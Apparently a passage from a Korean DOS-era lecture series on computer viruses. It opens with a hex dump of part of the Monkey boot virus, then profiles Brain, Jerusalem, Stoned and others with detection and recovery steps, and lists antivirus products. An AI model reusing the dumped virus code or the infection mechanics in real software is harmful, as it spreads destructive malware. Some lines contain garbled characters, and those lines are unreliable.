01E0  1C 00 1F 1F 1F 5E 1F CA-02 00 00 01 01 00 00 00   .....^..........
01F0  00 80 01 00 05 09 0B 03-05 0E 0E B8 01 02 9C 2E   ................

0200  FF 1E FC 01 C3 48 BF 14-04 4F 89 05 B1 06 D3 E0   .....H...O......
0210  04 20 8E C0 C3 8A 34 B8-01 03 E8 E1 FF C3 2B C9   . ....4.......+.
0220  41 51 8A 34 E8 D4 FF 72-60 E8 76 00 74 5B E8 79   AQ.4...r`.v.t[.y
0230  00 75 21 26 83 BF FA 01-00 74 4E 26 C7 87 FA 01   .u!&.....tN&....
0240  00 00 B1 01 E8 CE FF 72-40 41 8A 74 02 E8 AB FF   .......r@A.t....
0250  72 37 58 51 E8 7E 00 E8-58 00 46 E8 B7 FF 4E 72   r7XQ.~..X.F...Nr
0260  28 E8 4E 00 51 E8 23 00-59 52 8A 54 03 26 89 97   (.N.Q.#.YR.T.&..
0270  74 00 5A 26 88 8F 72 00-26 C7 87 FE 01 55 AA 59   t.Z&..r.&....U.Y

0280  51 26 88 8F F2 00 E8 8C-FF 58 C3 56 8B FB BE 20   Q&.......X.V...
0290  00 03 FE B9 DC 01 F3 A4-8B FB 2B F6 B1 03 F3 A4   ..........+.....
02A0  5E C3 26 81 BF FA 01 19-92 C3 26 81 BF 19 01 50   ^.&.......&....P
02B0  61 C3 57 51 50 8B FB B9-00 02 FC 26 8A 05 34 2E   a.WQP......&..4.
02C0  AA E2 F8 58 59 5F C3 0E-1F BE EA 00 80 FA 80 72   ...XY_.........r
02D0  03 BE EE 00 C3 57 56 26-8A 47 14 B9 04 00 8B F1   .....WV&.G......
02E0  4E 38 84 F3 00 74 06 E2-F5 B1 03 EB 04 8A 8C F7   N8...t..........
02F0  00 5E 5F C3 5D 7F 7E 7B-75 89 19 92 00 00 55 AA   .^_.].~{u.....U.

2. 분석결과.

원숭이 바이러스는 외국산 부트 바이러스로써, int 13h, int 1ah를 사용하며,
이중 int 13h를 가로채어 a01f:01fch 를 가리키게 변경을 하고 원래의 int 13h
의 오프셑번지는 01fdh에 저장을 해 놓는다.

자신의 감염여부를 확인한 후, 최초의 감염이면 맨먼저 자신이 들어갈수 있는
메모리를 1KB 확보를 한  후, 0 head  0 cylinder  1 sector (플로피인경우 부트섹
터, 하드인경우  마스터 부트 섹터)  부분을 0003:7c00번지로 읽어들여  "2E"값과
각각 XOR(eXclusive OR)시켜   0 head  0  cylinder  3 sector (둘다  첫번째 FAT영
역)
에 옮긴후, 자신은 0 head 0 cylinder 1 sector 부분에 복사를 한다. 그 다음
1 head  0 cylinder(랜덤처리 되기  때문에  바뀔수가 있다) 14 sector  부분을
0003:7c00으로 옮겨 놓은  후,  디스크에다 어떤작업을 할   때, 메모리에 이미 존
재 하는 엉뚱한 내용을 읽거나 쓴다.

또한, 원래  0  head  0 cylibder  1 sector 에  있던 내용이 첫번째  FAT영역에 겹
쳐 써지므로 중요한 자료들을 날리게 된다.

(FAT영역은 두개가 있으므로 잘 하면 복구가 가능하기도 하다)

치료방법은 감염에 대한 역순으로 진행을 하면 되는데,,,
이미, 엉뚱한 값들이 디스크에 써지지 않았다고 가정을 하면...
먼저, 0 head 0 cylinder 3 sector 에 있는 암호화된 섹터를 풀어서 원래의
자리고 옮기고, 두번째 FAT영역을 읽어 거기에 해당하는 섹터를 써주면 된다.


5-1-3 4월 24일 (April 24th) 바이러스


4월 24일 바이러스는  한국산 파일 바이러스이다. 1994년 4월달에 발견되었다.  이
바이러스는 예루살렘 바이러스의  변형이다.

       COMMAND.COM,SCAN.EXE,CLEAN.EXE,V3.COM,V3RES.EXE,VSHIELD
       .COM 을 제외한 모든 COM,EXE 파일에 감염된다.

증상
4월 24일날 파일을 실행하면  그 파일을 실행시키고 끝난후에 사용중인 디스크를
포맷한다. 그리고 하드를  포맷하려고 했는것 같으나 하드는 포맷시키지 못한다.
7월 23일 원래 프로그램을 실행 시킨후 지워버린다.
이날이 아니라도 램 상주 30분 후에 화면의 일부를 올리고 컴퓨터의 속도를 떨어
뜨린다.
실행할때만 감염되며 은폐기법이나 암호화는 사용하지   않는다.
바이러스 내부의 암호화 된 부분을 풀어보면 다음과 같은말을 볼 수 있다.

60A07D 00 00 B9 41 2A 7B-43 4F 4D 4D 41 4E 44 2E ......*{COMMAND.
70434F 4D 53 43 41 4E 2E-45 58 45 43 4C 45 41 4E COMSCAN.EXECLEAN
802E45 58 45 56 33 2E 43-4F 4D 56 33 52 45 53 2E .EXEV3.COMV3RES.
904558 45 56 53 48 49 45-4C 44 2E 43 4F 4D 00 00 EXEVSHIELD.COM..

COM 은 1587 증가하며 EXE 은 16의 배수가 된후 증가한다.
일부의 컴퓨터에서 램상주시 정지할 수 있다.
SCAN 으로 진단이 되는데 예루살렘 변형이라고 나온다.


5-1-4  Brain 바이러스

1986.6월,파키스탄의 Lahore,두 형제(배시트와 암자드 알비)가 개발하였다.
부트 섹터 감염자이다.


1. 특징
   가. Original 부트 섹터를 교체
   나. Original 부트 섹터를 다른 장소로 이동 (불량 클러스터 앞부분)
   다. 바이러스 잔류자를 포함한 7개의 섹터가 변경
   라. 바이러스 보호를 위해 변경된 3 클러스터를 사용불가로 표시
       (연속된 할당되지 않은 3클러스트)
   마. 플로피 디스크의 뵈첼동껦감염
   바. 메모리 크기를 7 K 감소
   사. 하드 디스크는 감염 시키지 않음
   아. 감염된 디스크의 sector 0에 "(c) Brain" 스트링이 있음
   자. 시스템이 감염된후 어떤 프로그램이 Boot Sector를 읽으면 감염된
       boot sector가 아닌 original boot sector를 읽도록 속임


2. 감염경로
   가. 감염된 디스크로 부팅하면 바이러스 프로그램이 메모리에 상주
   나. 상주후 INT 13H 번 수행시  감염시킨다.


3. 감염증상
   가. 볼륨 레이블이 "(c) Brain"으로 나타남
   나. 재부팅 과정에서 속도가 느려짐
   다. 단순 작업에도 플로피가 과도하게 작동
   라. 일부 DOS 버젼에서 프로그램 파괴
   마. 인터럽트 벡터의 변경


4. 감염여부검진


   가. Debug 이용


       a>또는 c> 에서 debug <return>

       -l100 0 0 1 <return>
       -d <return > FA E9 4A 01 34 12 00 09      ..J.4... .. ....
                               -- --
       -d <return>                              Welcome to the
                                                Dungeon
                                                (c) 1986 Brain.&


       이렇게 해보면 우측 맨위 5번째 HEX값이 34 12 로 나타나면 감염된 것임.
       (원래는 MS-DOS로 나타나거나 PCTOOLS등 포멧한 유틸리티명이 나타남)
   나. Utility 이용 (PCTOOLS, NORTON, MACE)
       View Edit 기능으로 들어가 Boot Sector에서 Debug 에서와 같은 메세지가
       나타나면 바이러스에 감염된 것임.
   다. 검진 프로그램 이용
       - ViruScan, F-Prot, IBM Scan, Pro-Scan
       - V2PLUS, V3


5. 복구방법
   가. 복구 프로그램 이용
       - MDisk, CleanUp, F-Prot, Pro-Scan
       - V2plus, V3
   나. DOS SYS명령으로 부트 섹터를 재기록
   다. 디스크 유틸리티 이용
       - 볼륨 라벨 변경
       - 불량섹타를 재생성 (3개의 연속된 불량클러스터에 바이러스 그대로 존재)


6. 예방대책
   가. 출처 불명의 플로피로 부트하지 말 것
   나. 하드 디스크가 있으면 그것으로 부팅
   다. 모든 부팅가능 디스크에 write-protect


7. 변종

   가. 증상 및 특징
       1). 디스크상의 절대위치(Absolute sector # 656-661)에 바이러스가 전염
       2). 그곳(전염위치)에 화일이 있거나 없거나 상관없이 전염
       3). 볼륨라벨을 (c) Brain으로 바꾸지 않음
       4). FAT(File Allocation Table)에 Bad Cluster Marking을 하지 않음
       5). Hard Disk FAT의 전 Sector를 16 Sector 씩 Shift 시킴
       6). (0 Sector를 16 Sector로, 1 Sectot를 17로)
       7). original Brain virus는 플로피 디스크에 만 감염되나 변종은 풩盧디스크
           에도 감염되게 변경됨 (Hard Disk로 Booting이 안됨)
       8). 9ISKCOPY가 안됨 (DOS 파라메타 변경)
       9). DATA DISK의 DATA 가 이유없이 깨짐
       10).실제로 Brain 계열에서는 7킬로바이트의 주기억장치를 점유함
       11).변형 Brain에 의해서 파괴된 데이터는 복구 되지 않음
           - Hard Disk FAT의 전 Sector를 16 Sector 씩 Shift 시킨 변형 Brain일 경우는
             디스크 유틸리티를 이용하여 다시 역순으로 16 Sector를 0 Sector로,
             17 Sectot를 1로,.... Sector Copy를 하면 됨.
             (그러나 끝부분에 있는 16 Sector의 Data는 복구 불가능)
   나. 종류
       1). Brain-B/Hard Disk Brain/Houston Virus
           - 하드 디스크 감염
       2). Brain-C
           - Brain-B 에서 "(c) Brain" Label 이 삭제됨
       3). Clone Virus
           - Brain-C에서 original boot copyright label 저장
       4). Clone-B
           - Clone Virus를 92.5.5 이후에 FAT를 파괴하도록 수정

   다. 참고 : Ashar


5-1-5 Dark Avenger 바이러스

1989년 9월, Bulgaria 에서 발견되었다.


1. 특징

   가. open 되는 모든 수행 파일(COM, EXE, SYS, OVL 등)을 감염
   나. COMMAND.COM 파일도 감염됨
   다. 파일 사이즈가 1775 바이트(hex 6efh) 미만은 감염되지 않음
   라. 플로피나 하드디스크가 감염가능
   마. INT 13h, 40h, 41h를 가로챔
   바. 이 바이러스는 Jerusalem 바이러스와 유사성은 없지만 사이즈는 비슷함
   사. 감염된 프로그램은 다음 메세지가 포함되어 있음
         "The Dark Avenger, copyright 1988, 1989"
         "This program was written in the               ty of Sofia.
          Eddie lives.... Somewhere in Time!"

2. 감염경로

   가. 감염된 프로그램이 수행되면 자신을 시스템 메모리 영역에 상주시킴
   나. 이후 Open되는 수행 파일을 감염시킴

3. 감염증상

   가. 일반적인 증상
       =  1775 바이트 이상인 모든 실행 파일의 사이즈가 증가함
       =  디스크 입출력 속도가 현저하게 저하
       =  사용가능 시스템 메모리 옆₂껦감소
       =  감염된 파일은 사이즈는 증가하나 파일의 날짜/시간 및 속성은 변경 안됨
          - COM 파일 감염시 앞 3바이트를 바이러스 위치로 분기하도록 JMP 명령으로
            대치하고 뒷부분에 1800 바이트 바이러스 코드를 첨가
          - EXE 파일 감염시 header를 변경하고 파일을 16의 배수로 만든 다음
            뒷부분에 바이러스를 첨가 (파일 사이즈가 1800 ?? 1815 바이트 증가)

   나. 활동후 증상
       =  디스크의 boot sector에 계수기를 가짐
       =  16회 감염시마다 디스크의 boot sector를 random하게 한 sector에 복사함
          - 파굘껦sector는 프로그램이건 데이타 파일이건 복구 불가능
          - 복사된 Sector는 위의 메세지가 포함되어 있음
       = 시스템이 자주 다운 됨
       = 하드 디스크로 부팅이 안되는 경우가 있음

4. 감염여부검진

        가. 검진 프로그램 이용
            - ViruScan V36+, F-Prot, IBM Scan, Pro-Scan
            - V3
        나. 디스크 유틸리티를 이용하여 위에 있는 메세지를 확인

5. 복구방법

        가. 전원을 내리고 write-protected 디스켓으로 부팅
        나. 주의해서 복구 프로그램을 이용하여 바이러스를 제거
            - M-DAV, CleanUp, Pro-Scan 1.4+, F-Prot
            - V3
        다. 제거 완료후 다시 검진 프로그램으로 확인

6. 예방대책

   가. 출처불명의 소스로 부터의 프로그램은 실행시키지 말 것
   나. 실행가능 코드를 내포한 디스크는 교환하지 말 것
   다. 메모리의 배치와 프로그램 파일 크기를 감시할 것

5-1-6 Jerusalem 바이러스

파생된 바이러스로는,  Jerusalem-B Virus ,  Jerusalem-C Virus  , Jerusalem-D Virus
                     Jerusalem-E Virus , century virus , century-B virus
                     13일의  금요일  Virus  ,    black  hall    ,  Hebrew  Virus  ,comvirus


1987.10, Jerusalem의  Hebrew 대학에서 발견되었다.


1. 특징

   가. COM 또는 EXE 프로그램을 감염
   나. 감염된 프로그램은 1813 바이트(.COM), 1808 바이트(.EXE) 사이즈를 증가시킴
   다. 감염된 프로그램은 변형되어 메모리에 상주
   라. 플로피나 하드디스크가 감염가능
   마. INT 21h 번을 가로챔
   바. INT 8h을 가로채서 감염된 프로그램 수행 이후 30 분마다 factor 10에 의해
       시스템의 속도가 감소함
   사. 메모리 상주하며 warm-reboot(CTL-ALT-DEL)후에도 계속 상주 가능
   아. .EXE 파일일 경우는 바이러스 버그로 인해 계속해서 감염이 됨
   자. Suriv 3.00 바이러스를 기초로 만들어진 것으로 생각됨

2. 감염경로

   가. 감염된 EXE 및 COM 파일 수행시 메모리 상주
   나. 이후 수행시키는 파일마다 파일크기를 증가시키면서 감염.

3. 감염증상

   가. 일반적인 증상
       - 시스템의 일반적인 속도저하
       - 사용가능 시스템 메모리 용량이 감소
       - COM 파일들은 한번만 감염
         : 앞부분에 감염되며 사이즈가 1808 증가
       - EXE 파일들은 계속해서 감염
         : Header 파일을 변경하고 뒷부분에 감염되며 사이즈가 1813 증가

   나. 13일의 금요일 증상
       - INT 21h의 파일 삭제 기능을 이용하여 수행되는 프로그램을 삭제
       - 일부 버젼은 하드디스크상의 모든 데이터 파괴

4. 감염여부검진

   가. 검진 프로그램 이용
       - ViruScan, F-Prot, IBM Scan, Pro-Scan, VirexPC 1.1+, AVTK 3.5+
       - V2plus, V3
   나. Disk Utility 및 Debug 이용
       - 파일내 "sUMsDos" 문자열이 3번 이상 나타나면 감염

5. 복구방법

   가. 삭제된 파일 복구
       - Disk Utility를 이용하여 복구 (파일 UNDELETE 기능 이용)
   나. 감염된 파일 복구
       - 감염된 실행가능 파일은  감염되지 않은 프로그램으로 교체
       - V2PLUS, V3 프로그램으로 복구
       - 복구 프로그램 이용
         Scan/D/A, M-JRUSLM, Saturday, CleanUp, UnVirus, F-Prot,
         VirexPC 1.1+, Pro-Scan 1.4+

6. 예방대책

   가. 출처불명의 소스로 부터의 프로그램은 실행시키지 말 것
   나. 실행가능 코드를 내포한 디스크는 교환하지 말 것
   다. 메모리의 배치와 프로그램 파일 크기를 감시할 것

7. 변종

   가. 증상 및 특징
       =  어떤 변종은 화면이 스크롤되고 화면의 좌하단에 까만 Black Box가 생김
       =  Jerusalem-B 경우
          - .EXE 파일을 재 감염시키지 않음
          - .COM 및 .EXE 파일외에 .SYS 및 .OVL 파일도 감염시킴
          - Jerusalem B 바이러스의 모든 변종이 시스템 속도를 느리게 하진 아님

   나. 종류
       1). A-204
           . ID 스트링이 "sUMsDos"에서 "*A-204*"로 변경됨
           . 몇 개의 명령문이 검진을 피하기 위해 변경됨
           . 30분 동안 메모리 상주후 시스템 속도를 느리게 함
           . 화면에 black box가 나타남
           . 출처 : Delft, The Netherlands
       2). Anarkia
           . ID 스트링이 "sUMsDos"에서 "ANARKIA"로 변경됨
           . 시스템껦느리게 하는 정도를 더 크게 했지만 정상 동작 않음
           . 화면에 black box가 나타나지 않음
           . 활동시기를 13일의 화요일로 변경
           . 출처 : Spain
       3). Anarkia-B
           . 활동시기가 10월 12일인 Anarkia 바이러스
       4). Jerusalem-C
           . 시스템 속도를 느리게 하지 않는 Jerusalem 바이러스
       5). Jerusalem-D
           . 1990년 이후 13일의 금요일에 FAT를 파괴하는 Jerusalem-C
       6). Jerusalem-E
           . 1992년에 활동하는 Jerusalem-D
       7). Mendoza
           . Jerusalem-B 바이러스 근거
           . .EXE 파일을 계속해서 감염시키지 않음
           . 활동 시기는 매년 7월 ?? 12월 (수행 프로그램의 10%만 삭제)

       8). Puerto
           . Mendosa 바이러스와 유사
           . .EXE 파일을 계속해서 감염시킴
           . ID 스트링 "sUMsDos"이 포함됨
       9). Spanish JB
           . Jerusalem 바이러스와 유사
           . .COM 파일은 1808 바이트 사이즈가 증가
           . .EXE 파일은 1808 혹은 1813 바이트 사이즈가 증가
             (재 감염시 항상 1808 바이트 첨     )
           . ID 스트링 "sUMsDos"이 포함되어 있지 않음
           . Black Box가 생기지 않음
           . 출처 : Spain
       10).Jerusalem DC
           . Jerusalem B 바이러스와 유사
           . ID 스트링 "sUMsDos"이 00h 문자로 대치됨
           . 30분 동안 메모리 상주후 시스템 속도를 30% 느리게 함
           . Black Box가 화면의 좌측 하단에 나타남
           . .EXE 파일을 계속해서 감염시킴
           . 활동시기가 없이 감염되면 즉시 수행 파일을 삭제함
           . 출처 : Washington, DC, USA

   다. 참고 : Payday, Suriv 3.00, Frere Jacques, Westwood


5-1-7 LBC 바이러스

1989년 발견되었다.
대부분 국산 바이러스로 보고있다.

1. 특징
   가. 0 섹터의 내용이 11 섹터(트랙:0, 면:1, 섹타:3)에 복사되어 있음.
   나. Lbc Virus 자신이 0 섹터(트랙:0, 면:0, 섹타:1)에 들어 있음
   다. Map으로 조사해 보면 bad cluster 가 나타나지 않음
   라. 메모리 크기를 2 K 감소
   마. 원래 플로피 디스크만 감염되게 제작되었으나 저작자의 실수로
       하드 디스크의 Master Boot record(Partition Table)를 파괴함

2. 감염경로
   가. 감염된 디스크로 부팅하면 바이러스 프로그램이 메모리에 상주
   나. 상주후 INT 13h 수행시 플로피 디스크를 감염시킴
       (시스템 디스켓이 아니라도 감염됨)

3. 감염증상
   가. C: 드라이브로 부팅이 안됨
   나. A: 드라이브로 부팅을 해도 C: 드라이브가 동작하지 않음
       (Invalid Drive Spec 메세지가 출력껦
   다. 플로피 디스크에서 이상한 소리가 좀 나거나 갑자기 read가 안되는
       경우가 발생할 수 있음


4. 감염여부검진


   가. Debug 이용

       a>또는 c> 에서 debug <return>
       -l100 0 0 1 <return>
       -d  <return>                ....4.Eh3.....
       -d  <return>
       -d  <return>                    ..   vires pr
                                   ogram message
                                   Njh to LBC


       이렇게 해보면 좌측 텍스트부근에 위와 같이 ...Eh.... 문자가 나타나면
       감염된 것임.
       (원래는 ms-dos로 나타나거나 pctools등 포멧한 유틸리티명이 나타남)

   나. Utility 이용 (PCTOOLS, NORTON, MACE)
       View Edit 기능으로 들어가 Boot Sector에서  Debug 에서와 같은 메세지가
       나타나면 바이러스에 감염된 것임.

   다. 검진 프로그램 이용
       - ViruScan V61+ 이후 버젼
       - V2PLUS 혹은 V3

5. 복구방법

   가. 감염된 Diskette 복구방법
       1). 감염되지 않는 디스켓을  a:드라이브에 넣고 boot하거나 C:드라이브
           에서 Boot 한다.
       2). b:드라이브에 새로운 디스켓을 넣고 format 한다음 a:드라이브에
           감염된 디스켓을 넣고 file copy를 하면 복구 됨.
           (주의). diskcopy는 절대 사용치 말것.
       3). 카피한 다음에는 바로 프로텍트를 붙일것.

   나. Hard Disk 복구방법
       1). Master Boot Sector 복구
           -. A: 드라이브로 부팅 (감염되지 않은 DOS)
           -. DOS의 FDISK 명령어 수행
           -. DOS 파티션을 부트용으로 하나 만듬
           -. A: 드라이브로 재 부팅 (감염되지 않은 DOS)
           -. Disk Utility(Norton Utility)를 기동
           -. 절대 섹타 카피
              (실린드:0, 면:1, 섹타:3 ===> 실린드:0, 면:0, 섹타:1)

       2). FAT 복구
           =  Disk Utility (Norton Utility 등)로 FAT에 바이러스가 복사해둔
              프로그램 부분을 ??아 FAT 복사본을 Sector 단위로 그 위치에 복사.
              - 즉 논리 Sector 59를 논리 Sector 18에 복사 (20M HDD 경우)
              - 단, FAT 복사본도 같이 오염되어 있으면 오염된 2 Sector에 해당
                되는 데이타는 복구할 방법이 없음.
              - 거의 대부분을 회복시킬수 있으나 일부는 잃어 버릴 수도 있음.

   다. 복구 프로그램 이용
       V2plus, Killer, MDISK,

6. 예방대책
   가. 디스켓에서 바이러스 검사후 미감염 디스켓은 write-protect
   나. 외부로부터 온 디스크는 부트디스크로 사용하지 말 것
   다. 하드디스크 사용자는 절대 A: 에서 부트하지 말 것
   라. 게임 디스크는 거의 감염된 것으로 생각하고 대처할 것

7. 변종
   가. 증상 및 특징
       1). 기억 장소 3K 감소
       2). 디스켓 끝에 한개의 불량 클러스터 만듬
       3). 일정 시간껦메세지 출력
       4). 메세지가 변경됨
   나. 종류
       1). LBC II


5-1-8 Stoned Virus                                                   |
Stoned-B, Stoned-C, Stoned-D, Stoned II  등으로 변종이 생겼다.
(별칭 : Hawaii, Marijuana, New Zealand, San Diego, Smithsonian)|
1988년 2월, New Zealand 에서 발견되었다.


1. 특징

   가. Diskette 일 경우 : 0 섹터의 내용이 tr:0 he:1 Se:3 에 복사되어 있음
   나. Hard     일 경우 : 0 섹터의 내용이 tr:0 he:0 Se:7 에 복사되어 있음
   다. Stoned Virus 자신이 0 섹터에 들어 있음
   라. 메모리 크기를 2 K 감소
   마. 원종 Stoned는 360K 5 4/1" 디스켓 만 감염시키고 명백한 피해도 없음

2. 감염경로

   가. 감염된 디스크로 부팅하면 바이러스 프로그램이 메모리에 상주
   나. 상주후 INT 13H 번 가로채고 Access하는 디스켓을 감염시킴

3. 감염증상

   가. 매 8회 시스템 부팅중 한번은 다음 메세지를 화면에 표시
       "Your computer is now stoned.  Legalize Marijuana"
   나. 디스크 입출력 속도가 현저하게 느려짐

   다. 디스켓일 경우
       - 0 섹터의 내용이 ROOT DIR 부분(tr:0 he:1 Se:3)에 복사되어 있어
         치명적인 데이타 손실은 없음
   라. 하드 디스크일 경우
       - 0 섹터의 내용이 FAT 부분(tr:0 he:0 Se:7)에 복사되어 있어 1 섹타
         분의 데이타 손실
       - 손실된 부분의 데이타를 읽을때 에러 발생


4. 감염여부검진

   가. Debug 이용

       a>또는 c> 에서 debug <return>

       -l100 0 0 1 <return>
       -d <return>                 ................
       -d <return>
       -d <return>                 .3........Your P
                                                 is now Stoned!
                                   .....LEGALISE MA
                                   RIJUANA


       이렇게 해보면 우측 텍스트부근에 위와 같은 문자가 나타나면 감염된 것임.
       (원래는 MS-DOS로 나타나거나 PCTOOLS등 포멧한 유틸리티명이 나타남)

   나. Utility 이용 (PCTOOLS, NORTON, MACE)
       View Edit 기능으로 들어가 Boot Sector에서  Debug 에서와 같은 메세지가
       나타나면 바이러스에 감염된 것임.

   다. 검진 프로그램 이용
       - ViruScan, CleanUp, F-Prot, IBM Scan, Pro-Scan, VirexPC, AVTK 3.5+
       - V2plus, V3

5. 복구방법

   가. 감염된 Diskette 복구방법
       1). 감염되지 않는 디스켓을  a:드라이브에 넣고 boot하거나 C:드라이브에서
           Boot 한다.
       2). b:드라이브에 새로운 디스켓을 넣고 format 한다음 a:드라이브에 감염된
           디스켓을 넣고 file copy를 하면 복구 됨.
           (주의). diskcopy는 절대 사용하지말것 dos부분까지 카피되기때문에
       3). 카피한 다음에는 바로 프로텍트를 붙일것.

   나. Hard Disk 복구방법
       1). Master Boot Sector 복구
           -.Disk Utility(Norton Utility)를 기동
           -.절대 섹타 카피
             (실린드:0, 면:0, 섹타:7 ===> 실린드:0, 면:0, 섹타:1)
       2). FAT 복구
           -.Disk Utility (pctools, Norton 등)로 FAT에 바이러스가 복사해 둔
             프로그램 부분을 ??아 FAT 복사본을 Sector 단위로 그 위치에 복사.
             - 즉 논리 Sector 46를 논리 Sector 5 에 복사 (20M 하드 디스크 경우)
             - 단, FAT 복사본도 같이 오염되어 있으면 오염된 2 Sector에 해당되는
               데이타는 복구할 방법이 없음.
             - 거의 대부분을 회복시킬수 있으나 일부는 잃어 버릴 수도 있음.

   다. 복구 프로그램 이용
       - CleanUp, MDisk, F-Prot, Pro-Scan 1.4+, DOS SYS command
       - V2plus, V3

6. 예방대책

   가. 디스크의 Virus 검사후 미감염 디스크에는 write-protect
   나. 외부로터 온 디스크는 부트디스크로 사용하지 말 것
   다. 하드디스크 사용자는 절대 A: 에서 부트하지 말 것
   라. 게임 디스크는 거의 감염된 것으로 생각하고 대처할 것

7. 변종

   가. 증상 및 특징
       -.하드 디스크를 감염시키는 2가지 변종이 있음
       -.메세지가 변경되거나 삭제됨
       -.고밀도 디스켓을 감염시킴

   나. 종류
       1). Stoned-B
           -.Stoned 바이러스와 같으나 다음 내용이 다름
           -.partition table을 통해 하드 디스크를 감염시킴
           -.RLL controller가 설치된 시스템이 감염되면 자주 시스템 명령
             대기 상태가 됨
       2). Stoned-C
           -.Stoned 바이러스와 같으나 다음 내용이 다름
           -.화면에 표시되는 메세지가 삭제됨
       3). Stoned-D
           -.Stoned 바이러스와 같으나 다음 내용이 다름
           -.3.5" 및 5.25" 고밀도 디스켓을 감염시킴

       4). Stoned II
           -.Stoned 바이러스와 같으나 다음 내용이 다름
           -.백신 프로그램에 의한 검진이 쉽게 되지 않도록 수정됨
           -.감염된 디스켓의 끝부분에 위치한 메세지가 다음과 같이 변경됨
             "Your PC is now Stoned!  Version 2"
             혹은 "Donald Duck is a lie."
           -.변종 중 메세지가 완전히 삭제된 것도 있음
           -.메세지의 "Version 2" 부분은 복제시 파괴될 수 있음
           -.이 바이러스의 감염 방법껦Stoned 바이러스와 같음
           -.바이러스 상주후 재 부팅시 random 하게 메세지 출력
           -.하드 디스크의 partition table에 감염됨
           -.때때로 partition table 및 데이타가 파괴되는 경우가 있음



안녕하세요.

8번째 강좌입니다.
백신 프로그램과 기존의 트로이 목마 바이러스에 대해 이야기 하겠습니다.
그리고 유명 바이러스에 대한 고찰을 하겠습니다.


5-2 백신 프로그램 소개

Dr.Panda
이 프로그램은 컴퓨터 바이러스, 벌레, 트로이 목마 프로그램를 찾아내기 위
한 여러가지 유틸리티가 들어 있는 패키지 프로그램이다.
    +- Physical : 중요한 시스템 파일을 비교하고, 사용자가 지정한 중요파일을 비교
    |             하여 변경이 있을 경우 이를 알려주는 유틸리티.
    +- Labtest : 도스(DOS)를 경우하지 않는 프로그램 코드에 대한 경고 메세지를 내
    |            고, 숨겨진 아스키(ASCII) 문자를 출력해주는 유틸리티.
    +- Monitor : 디스크 입출력 행동을 감시하면서 포맷을 하거나 FAT를 손상시키려
                 고 할 때 이를 감지하여 알려주는 유틸리티.

Fichek
하드디스크를 모두 스캔(SCAN)하여 파일들의 날짜, 시간, 크기, 속성, 체크섬
들을 로그파일에 저장하여 둔다.  그래서 전의 로그파일과 비교해서 다른 점이
발견되다면 이는 파일에 변형이 가해졌다고 볼수 있다.

디스크 왓처(Disk Watcher)
램상주하여 각종 디스크의 입출력 행동을 감시하는 프로그램이다.  여러가지
바이러스나 그외 문제에 대한 분석에 유용한 기능을 제공하며 다른 램상주 프
로그램과 별로 충돌하지 않는다.

체크업(Checkup)
바이러스의 공격에 대한 방어책으로 체크섬을 하여주는 프로그램
블럭 체크섬(Block Checksum)이라는 특이한 체크섬으로 작동되기 때문에 발견
하기 어려운 바이러스의 감염도 감지할 수 있다.

디스크 디펜더(Disk Defender)
인터페이스 카드를 이용하여 디스크의 입출력을 체크하는 하드웨어이며, 이
카드에는 3개의 상태 표시등이 있어서 사용자에게 디스크 접근 상태를 보여준
다.

Data Physician
도스 시스템을 바이러스의 침입으로부터 막기 위한 여러개의 프로그램으로 구성되어 있는 패키지
프로그램.
    +- Datamd : 바이러스의 방어 및 찾기, 제거용 프로그램
    +- Padlock : 디스크의 쓰기를 제한하는 유틸리티
    +- Novirus : 램상주하면서 Datamd가 작성한 데이타 파일을 이용하여 바이러스를
    |            찾아내는 유틸리티
    +- Antigen : 실행파일에 직접 바이러스 체크 프로그램을 인스톨하고 자체에 제거
    |            능력이 있는 유틸리티
    +- Viralert : 시스템과 실행파일을 변경하려고 할 때 이를 가로채서 알려주는 유
                  틸리티

Caware
Turbo-C를 이용하는 프로그래머에게 좋은 소프트웨어로 터보-C로 컴파일된 실
행 파일을 체크섬하여 변형여부를 검사하는 유틸리티.

Cop
Command Obfuscation Processor의 약자로 COM 파일을 암호화해서 변형을 막는 유틸리티이다.

C-4 Antivital Shield
램상주하여 작동하는 바이러스의 활동을 막아주는 상업용 백신 프로그램.

이외에 하드웨어적인 카드형의 안티-바이러스가 있다.

PC-Cilline(PC 실린)
아직 발견되지 않은 신종 바이러스라도 99% 예방할 수 있는 강력한 방역 프로그램.
총무처 선정 행망용 공식 바이러스 방역 프로그램.

V-FINDER(불철주야; 바이러스 방역 카드)
바이러스 방역카드의 롬에는 800가지의 바이러스에 대한 정보가 들어 있으므로 바이
러스에 감염된 파일을 실행시킬 경우 즉각 경고음을 내면서 중지한다.  롬의 바이러스
분석 정보에 입력되지 않은 바이러스도 기존 바이러스와 유사한 변형 바이러스일 경우
에는 "Unknown Virus"로 판정, 경고음을 울리면서 계속 실행할 것인가를 물어온다.
하지만 전혀 새로운 바이러스에 대해서는 방지능력을 상실한다.  단, 새로운 바이러스
가 발견되었을 경우에는 분석되는 대로 방역카드에  기억시킬 수 있다.  또한 이 방역
카드는 프로그램에 들어갈 다량의 정보를 카드의 롬에 저장하였기 때문에 램상주를 적
게 차지한다.  따라서 다른 램상주  프로그램을 실행시키는 데 전혀 무리를 주지 않는
다.  그리고 다른 프로그램에 비해  불과 2.7K의 적은 메모리만을 차지하고 있을 뿐이
다.

디스크 락(Disk Lock) : 5세대 시스템(Fifth Generation System)의 프로그램

비루세이프(ViruSafe) : 엑스트리(Xtree)사의 프로그램
실행파일 등에서 바이러스의 흔적을 탐지함으로써 바이러스를 탐지하고 제거
하는 바이러스 탐지 프로그램

서투스(Certus) : 서투스 인터내셔날(Certus International)사의 프로그램

WPHD.COM
WPHD(Write Protect Hard Disk)는 하드디스크에 쓰기 방지 및 포맷 방지를 하
여 주는 유틸리티.  이 프로그램은 실행시킬 때마다 그 수행여부를 ON/OFF로
된다.  이 기능은 인터럽트 13H 벡터가 바뀌어지면 수행되지 않는다.

VACCINE : World Wide Data
 +- Antidote : 디스크를 모두 스캔하여 현재까지 등록되어 있는 모든 바이러스
 |             를 찾아주는 유틸리티.
 +- Checkup : 시스템의 상태를 저장하여 다음에 이의 변형 여부를 체크하여 주
                    는 유틸리티.

TRACER(트레이서) : 대만에서 제작된 백신 프로그램
시스템에 침입하는 바이러스를 막기 위한 바이러스 방어 백신.  바이러스가
시스템에 침투하려고 하면 침입하려는 영역이나 프로그램 파일을 표시하는 경
고를 하여 바이러스의 침입을 어렵게 만든다.

Turbo Anti-Virus(터보 안티 바이러스)
일명 TNT라고도 하며, CARMEL software Engineering의 제품

바이러스 시큐어(Virus Secure) : 윈도우즈용 바이러스 방지 프로그램.
영국의 길드 소프트社의 제품
 200종 이상의 바이러스 검출.
 각종 이상을 진단.
